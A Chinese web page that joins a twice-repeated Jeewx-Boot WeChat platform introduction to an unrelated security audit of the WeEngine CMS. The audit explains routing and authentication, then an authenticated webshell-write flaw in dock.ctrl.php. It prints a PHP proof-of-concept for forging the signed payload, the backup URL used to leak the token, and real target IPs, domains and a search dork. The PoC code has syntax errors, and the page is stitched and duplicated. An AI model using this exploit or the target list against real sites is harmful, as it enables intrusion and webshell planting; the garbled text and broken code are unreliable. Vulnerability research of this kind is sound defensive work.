微擎教程
微信开发平台 Jeewx-Boot
项目介绍
JeewxBoot 是一款基于SpringBoot的免费微信开发平台。支持微信公众号、小程序官网、微信抽奖活动。Jeewx-Boot实现了微信公众号管理、小程序CMS、微信抽奖活动等基础功能,便于二次开发,可以快速搭建微信应用!Jeewx-Boot独创插件开发机制,实现了每一抽奖活动(砸金蛋、刮刮乐、砍价等)、官网、商城都是一个独立的插件,对JAVA来讲就是一个JAR包,可以很方便的做插拔,最终打造像discuzz、微擎一样的插件生态圈。。
Jeewx-Boot诞生的目的
Jeewx开源至今已经6年时间,积累无数粉丝,但老版技术陈旧,随着功能增多项目也变的臃肿。之所以打造一款全新的产品Jeewx-Boot,最终目的是打造一个全新的微信开发生态圈。Jeewx-Boot独创插件开发机制,实现了每一抽奖活动(砸金蛋、刮刮乐、砍价等)、官网、商城、小程序都是一个独立的插件,对JAVA来讲就是一个JAR包,可以很方便的做插拔,打造像discuzz、微擎一样的插件生态机制;插件机制的好处在于,你可以灵活的选择你需要的插件,组装成你要的系统,就像搭建积木一样;当然如果你不需要那个功能,可以很轻松的拔掉;Jeewx-Boot采用最新主流技术SpinrgBoot2.x+Mybatis+Velocity,是大家熟悉的技术,学习成本低, 新的平台实现了插件开发机制,同时也支持更高的并发、更高的大数据能力;源码下载
://gitee.com/jeecg/jeewx-boot技术交流
在线文档:小程序文档: #/doc/rumen技术论坛 :www.jeecg.org演示地址:项目说明
项目名中文名备注jeewx-boot-base-system系统用户管理含项目启动类jeewx-boot-module-cmsCMS管理后台 jeewx-boot-module-weixin微信公众号管理 jeewx-app-cms小程序官网源码采用wepy语言
系统模块
├─系统管理│ ├─用户管理│ ├─角色管理│ ├─菜单管理│ └─首页设置│ └─项目管理(插件)├─公众号运营│ ├─基础配置│ │ ├─公众号管理│ │ ├─关注欢迎语│ │ ├─未识别回复语│ │ ├─关键字设置│ │ ├─自定义菜单│ │ ├─菜单支持小程序链接│ │ ├─Oauth2.0链接机制│ ├─素材管理│ │ ├─文本素材│ │ ├─图文素材│ │ ├─超强图文编辑器│ │ ├─图文预览功能│ ├─用户管理│ │ ├─粉丝管理│ │ ├─粉丝标签管理│ │ ├─超强图文编辑器│ │ ├─接受消息管理│ │ ├─粉丝消息回复├─小程序官网│ ├─站点管理│ ├─广告管理│ ├─栏目管理│ ├─文章管理│ ├─后台管理代码│ ├─小程序前端代码├─微信抽奖活动(即将开源)│ ├─砸金蛋│ ├─摇一摇│ ├─微信砍价├─高级功能(尚未开源)│ ├─小程序商城│ ├─微信投票│ ├─分销商城│ ├─。。。└─其他插件 └─更多功能陆续开源。。
系统特点
采用最新主流技术架构(Springboot+Mybatis+Velicity)强大的代码生成器,代码一键生成微信公众号管理,基础功能无需开发,直接使用支持微信小程序,已经提供小程序CMS供大家学习和使用采用插件开发机制,后续更多插件提供系统截图
PC端
小程序端
手机端
微信开发平台 Jeewx-Boot
项目介绍
JeewxBoot 是一款基于SpringBoot的免费微信开发平台。支持微信公众号、小程序官网、微信抽奖活动。Jeewx-Boot实现了微信公众号管理、小程序CMS、微信抽奖活动等基础功能,便于二次开发,可以快速搭建微信应用!Jeewx-Boot独创插件开发机制,实现了每一抽奖活动(砸金蛋、刮刮乐、砍价等)、官网、商城都是一个独立的插件,对JAVA来讲就是一个JAR包,可以很方便的做插拔,最终打造像discuzz、微擎一样的插件生态圈。。
Jeewx-Boot诞生的目的
Jeewx开源至今已经6年时间,积累无数粉丝,但老版技术陈旧,随着功能增多项目也变的臃肿。之所以打造一款全新的产品Jeewx-Boot,最终目的是打造一个全新的微信开发生态圈。Jeewx-Boot独创插件开发机制,实现了每一抽奖活动(砸金蛋、刮刮乐、砍价等)、官网、商城、小程序都是一个独立的插件,对JAVA来讲就是一个JAR包,可以很方便的做插拔,打造像discuzz、微擎一样的插件生态机制;插件机制的好处在于,你可以灵活的选择你需要的插件,组装成你要的系统,就像搭建积木一样;当然如果你不需要那个功能,可以很轻松的拔掉;Jeewx-Boot采用最新主流技术SpinrgBoot2.x+Mybatis+Velocity,是大家熟悉的技术,学习成本低, 新的平台实现了插件开发机制,同时也支持更高的并发、更高的大数据能力;源码下载
://gitee.com/jeecg/jeewx-boot技术交流
在线文档:小程序文档: #/doc/rumen技术论坛 :www.jeecg.org演示地址:项目说明
项目名中文名备注jeewx-boot-base-system系统用户管理含项目启动类jeewx-boot-module-cmsCMS管理后台 jeewx-boot-module-weixin微信公众号管理 jeewx-app-cms小程序官网源码采用wepy语言
系统模块
├─系统管理│ ├─用户管理│ ├─角色管理│ ├─菜单管理│ └─首页设置│ └─项目管理(插件)├─公众号运营│ ├─基础配置│ │ ├─公众号管理│ │ ├─关注欢迎语│ │ ├─未识别回复语│ │ ├─关键字设置│ │ ├─自定义菜单│ │ ├─菜单支持小程序链接│ │ ├─Oauth2.0链接机制│ ├─素材管理│ │ ├─文本素材│ │ ├─图文素材│ │ ├─超强图文编辑器│ │ ├─图文预览功能│ ├─用户管理│ │ ├─粉丝管理│ │ ├─粉丝标签管理│ │ ├─超强图文编辑器│ │ ├─接受消息管理│ │ ├─粉丝消息回复├─小程序官网│ ├─站点管理│ ├─广告管理│ ├─栏目管理│ ├─文章管理│ ├─后台管理代码│ ├─小程序前端代码├─微信抽奖活动(即将开源)│ ├─砸金蛋│ ├─摇一摇│ ├─微信砍价├─高级功能(尚未开源)│ ├─小程序商城│ ├─微信投票│ ├─分销商城│ ├─。。。└─其他插件 └─更多功能陆续开源。。
系统特点
采用最新主流技术架构(Springboot+Mybatis+Velicity)强大的代码生成器,代码一键生成微信公众号管理,基础功能无需开发,直接使用支持微信小程序,已经提供小程序CMS供大家学习和使用采用插件开发机制,后续更多插件提供系统截图
PC端
小程序端
手机端
微擎审计
0x01 目标熟悉软件简介:微擎是宿州市微擎云计算有限公司开发的一款免费开源的微信公众号管理系统
官网地址:
开发文档()中提到,源代码位于:
根据在线文档()中的更新公告,最新版是2.7.50
根据开源代码库()中的记录,最新版是2.7.9
网站搭建好后,在底部又发现最新版是2.7.108
0x02 环境搭建搭建微擎的过程中踩了很多坑,以下2个坑想搭建的师傅有个心理准备:
1 微擎的版本挺错乱的,下载后是2.7.108,结果搭建完成后底部却显示2.7.94,同样其他版本也是,下载时是一个版本,搭建后又是另一个版本
2 在最新的官网上已经不再提供离线安装的版本,而且提供的安装包()也是很多功能不全,必须要在官网注册认证过了才能通过在线升级来获取到全部功能,有点让人无语
下面是对官网提供的安装脚本的安装演示,一开始使用mac下的php集成环境MAMP,结果在最后一步连接数据库的时候会有问题,这里改用windows下集成环境phpstudy,将项目放到phpstudy对应目录下,访问后按提示操作即可,搭建完成如下图
访问目标地址,发现是已登录状态
使用全新的浏览器访问目标地址,可看到未登录状态下首页如下图
下图是踩坑时搭建的多个版本
0x03 互联网案例12345678
://39.98.239.118/web/://mp.wxquan.cn/web/://wx.mindmob.cn/web/intitle:"微擎 - 公众平台自助引擎 - Powered by W7.CC"0x04 开始审计01 目录结构
源码下载到本地后,可以看到目录结构如下
对上述目录结构解释如下
123456789101112131415
addons 微擎模块api 对接外部系统接口app 微站 (Mobile / App)data 存放配置文件framework 微擎框架payment 支付调用目录tester 测试用例upgrade 升级脚本web 后台管理api.php 微信api接口console.php 命令行执行文件index.php 系统入口install.php 安装文件attachment 附件目录02 确定路由
当传入的URL请求中包含一个名为 c、a、do的 GET 参数,它即被视为一个路由,例如:
12345
?c=platform&a=menu&则会路由至 /web/source/platform/menu.ctrl.php 文件中?c=mc&a=home&则会路由至 /app/source/mc/home.ctrl.php 文件中
其中c为控制器(controller),a为操作(action),do为行为(do),且do是可选的,也就是不指定的话会使用默认行为
控制器以文件夹、文件的形式组织,位于系统的 source 目录下,每一个目录代表一个 controller ,文件夹中的每个文件即为一个 action。某些情况,一个action可能会包含多个操作,系统中提供 do 参数来用于区分同一个 action 中的不同操作。例如:
1
?c=extension&a=module&do=designer
extension为控制器,module为action,designer为该action下的某一个具体的do
微擎中对于模块的访问,路由稍微不一样
当传入的 c 值为 “site”, a 值为 “entry”时则是一个模块路由,例如:
1
?c=site&a=entry&do=themeset&m=we7_demo
则会路由至 /addons/we7_demo/site.php 文件中的 doWebThemeset() 方法。
1
?i=1&j=2&c=entry&do=list&m=we7_demo
则会路由至 /addons/we7_demo/site.php 文件中的 doMobileList() 方法。
03 确定鉴权文档中提到,移动端代码位于目录/app/下,web段代码位于目录/web/下,我们先看下web端代码,目录结构如下
、
其中入口文件为index.php,通读index.php后会发现,鉴权主要由如下代码实现
可看到如果访问的是无需鉴权的接口,则直接跳到对应controller及action处,否则会调用checklogin(),也就是需要检查登录状态
其中$acl在上面被定义为
1
$acl = require IA_ROOT . '/web/common/permission.inc.php';
进入文件permission.inc.php可看到,控制器advertisement下面无可直接访问的action,控制器article下面notice-show,news-show,notice-news是可直接访问的
image-20221206155010265
依照此规律,可梳理出前台访问的接口,及后台访问的接口
04 前台漏洞前台接口中暂未发现漏洞点
05 后台漏洞漏洞1:已公开但无POC漏洞出现在web/source/cloud/dock.ctrl.php
简单讲述一下代码逻辑(搞懂下面的逻辑,才能构造exp),根据之前的路由分析可知,传入的动作为download时,进入子句
传入的post数据如果进行了base64编码,则解码后赋值给data,否则直接赋值给data,对data进行反序列化,反序列化后先对数组中的file进行base64解码,再判断是否存在gzcompress和gzuncompress,存在的话再进行解压,最后赋值给file
从缓存中获取cloud_transtoken,并传入authcode进行解密,赋值给全局变量$_W中的setting->site->token,对file进行md5加密再拼接数组中的path以及全局变量$_W中的setting->site->token,最后赋值给string
如果全局变量$_W中的setting->site->token非空,且string进行md5加密后等于数组中的sign,则进入子句
判断数组中的path是否以”/web”或”/framework”开头,此处我们在构造数组中path的时候只需以”/“开头即可绕过,绕过后子句中构造数组path的全路径,最后调用file_put_contents写入webshell
这里有一个难点,就是从缓存中获取cloud_transtoken,全局搜索,通过分析发现,访问链接 :port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456 进行数据库备份,则数据库备份文件的地址为::port/data/backup/123/volume-456-1.sql,拿到数据库备份后,全局搜索cloud_transtoken,可获取cloud_transtoken的值,对应的exp编写如下
简单解释一下,调用项目中的函数authcode,传入cloud_transtoken,获取返回的值,根据之前分析的代码逻辑,反向构造原始数据包,并将payload嵌入其中
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283
<?phpfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5('' != $key ? $key : "62a37a4d"); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ('DECODE' == $operation ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = 'DECODE' == $operation ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for ($i = 0; $i <= 255; ++$i) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0; $i < 256; ++$i) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $string_length; ++$i) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if ('DECODE' == $operation) { if ((0 == substr($result, 0, 10) || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc . str_replace('=', '', base64_encode($result)); }}$cloud_transtoken = ""$token = authcode($cloud_transtoken, "DECODE");function build() { $file = "aaa"; $path = "/test.txt" $string = (md5($file) . $path . $token); $sign = md5($string) $file_ = gzcompress($file); // print($file_); $file__ = base64_encode($file_); // print($file__); $ret = array( "file" => $file__, "path" => $path, "sign" => $sign ); print(serialize($ret));}// build();/*$gz = function_exists('gzcompress') && function_exists('gzuncompress');if ($gz) { echo "yes";} else { echo "no";}*/
由于我这边是本地搭建的环境,站点无法注册,导致数据库备份后无cloud_transtoken,不能演示打poc过程,对于实际站点,获取cloud_transtoken后,可基于上述poc获取webshell
参考链接微擎 CMS:从 SQL 到 RCE
记一次从源代码泄漏到后台获取webshell的过程
代码审计之某通用商城系统getshell过程
微擎路由
微擎设置开发模式
微擎加载器
离线安装包